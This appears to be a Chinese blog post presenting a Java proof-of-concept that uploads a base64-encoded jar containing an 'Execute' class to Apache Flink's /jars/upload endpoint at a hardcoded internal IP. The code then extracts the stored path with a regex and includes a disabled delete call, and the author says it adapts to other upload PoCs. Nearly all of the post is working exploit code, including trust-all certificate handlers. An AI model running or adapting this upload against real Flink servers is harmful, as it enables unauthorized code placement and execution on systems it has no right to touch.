java模拟文件上传并正则匹配返回路径

代码是通用的，其他验证上传类poc，稍微改改就能用，这里是apache flink jar上传的验证，写代码的工具是idea，用的maven快速获取依赖。

import com.alibaba.fastjson.JSONObject;
import com.sun.deploy.net.HttpUtils;
import org.apache.http.HttpEntity;
import org.apache.http.HttpHost;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpDelete;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.conn.DefaultProxyRoutePlanner;
import org.apache.http.util.EntityUtils;import javax.net.ssl.*;
import java.io.*;
import java.net.*;
import java.security.SecureRandom;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Base64;
import java.util.regex.Matcher;
import java.util.regex.Pattern;public class test {public static String doDelete(String url) {CloseableHttpClient httpClient = HttpClients.createDefault();HttpDelete httpDelete = new HttpDelete(url);RequestConfig requestConfig = RequestConfig.custom().setConnectTimeout(35000).setConnectionRequestTimeout(35000).setSocketTimeout(60000).build();httpDelete.setConfig(requestConfig);httpDelete.setHeader("Content-type", "application/json");httpDelete.setHeader("DataEncoding", "UTF-8");httpDelete.setHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0 Safari/537.36");CloseableHttpResponse httpResponse = null;try {httpResponse = httpClient.execute(httpDelete);HttpEntity entity = httpResponse.getEntity();String result = EntityUtils.toString(entity);return result;} catch (ClientProtocolException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();} finally {if (httpResponse != null) {try {httpResponse.close();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}if (null != httpClient) {try {httpClient.close();} catch (IOException e) {e.printStackTrace();}}}return null;}private  static  class  TrustAnyTrustManager implements X509TrustManager{@Overridepublic void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {}@Overridepublic void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {}@Overridepublic X509Certificate[] getAcceptedIssuers() {return new X509Certificate[0];}}private static  class  TrustAnyHostnameVerifier implements HostnameVerifier{@Overridepublic boolean verify(String s, SSLSession sslSession) {return true;}}public static String senPostWithFile(String url,String uploaddata) throws IOException {DataOutputStream out = null;BufferedReader in = null;String result = "";String upload_jar_name = "check-execute.jar";try {// 创建代理服务器InetSocketAddress addr = new InetSocketAddress("127.0.0.1", 8080);// http 代理Proxy proxy = new Proxy(Proxy.Type.HTTP, addr);//打开和URL之间的连接//HTTPS/*SSLContext sc = SSLContext.getInstance("SSL");sc.init(null,new TrustManager[]{new TrustAnyTrustManager()},new SecureRandom());URL console = new URL(url);HttpsURLConnection connhttps = (HttpsURLConnection) console.openConnection();connhttps.setSSLSocketFactory(sc.getSocketFactory());connhttps.setHostnameVerifier(new TrustAnyHostnameVerifier());*///HTTPURL realUrl = new URL(url);HttpURLConnection conn =(HttpURLConnection) realUrl.openConnection(proxy);//设置响应超时时间conn.setConnectTimeout(30000);conn.setReadTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);//设置请求头String BOUNDARY = "df7dc15b86ff6075983fdc5339c90df2";//定义数据分割线conn.setUseCaches(false);conn.setRequestMethod("POST");conn.setRequestProperty("User-Agent","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0 Safari/537.36");conn.setRequestProperty("Content-Type","multipart/form-data; boundary="+BOUNDARY);conn.setRequestProperty("Accept-Encoding","gzip, deflate");conn.setRequestProperty("Connection","close");conn.connect();//设置请求体out = new DataOutputStream(conn.getOutputStream());byte[] end_data =("\r\n--"+BOUNDARY+"--\r\n").getBytes();//定义最后数据分隔线StringBuilder sb1 = new StringBuilder();sb1.append("--");sb1.append(BOUNDARY);sb1.append("\r\n");sb1.append("Content-Disposition: form-data; name=\"jarfile\";filename=\""+upload_jar_name+"\"");sb1.append("\r\n");sb1.append("Content-Type:application/octet-stream");sb1.append("\r\n");sb1.append("\r\n");sb1.append(uploaddata);sb1.append("\r\n");out.write(sb1.toString().getBytes());out.write(end_data);out.flush();//获取响应流in = new BufferedReader(new InputStreamReader(conn.getInputStream()));String line;while ((line = in.readLine())!=null){result += line;}System.out.println(result);}catch (Exception e){System.out.println("发送Post 请求出现异常"+e);e.printStackTrace();}finally {if (out!=null){out.close();}if (in !=null){in.close();}}return  result;}public static String deletePostWithFile(String url,String jar_hash_name) throws Exception {String single_jar_url = url+"/jars/"+jar_hash_name;String response = doDelete(single_jar_url);return response;}public static void main(String[] args) throws Exception {final Base64.Decoder decoder = Base64.getDecoder();final Base64.Encoder encoder = Base64.getEncoder();String url="http://172.17.229.59:8081/jars/upload";String url2="http://172.17.229.59:8081";String uploaddata="UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALgAAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAAAAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAKVkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLvCGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujCQNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJNaFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Qo0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNMKA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjoRF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqps0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJcVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEsOJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6EjptI4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IOYg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQAFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUGAAAAAAMAAwC4AAAArgQAAAAA";String result2= senPostWithFile(url,new String(decoder.decode(uploaddata)));JSONObject object = JSONObject.parseObject(result2);String s = object.getString("filename");System.out.println("文件路径是："+s);String reg="[a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_check-execute.jar";Pattern p = Pattern.compile(reg);// get a matcher objectMatcher m = p.matcher(s);String s3 = m.replaceAll("");System.out.println("上传目录是："+s3);String deletename = s.replace(s3,"");System.out.println("正则匹配的值是: "+deletename);String s2 = object.getString("status");System.out.println("是否上传成功: "+s2);//deletePostWithFile(url2,deletename);}
}

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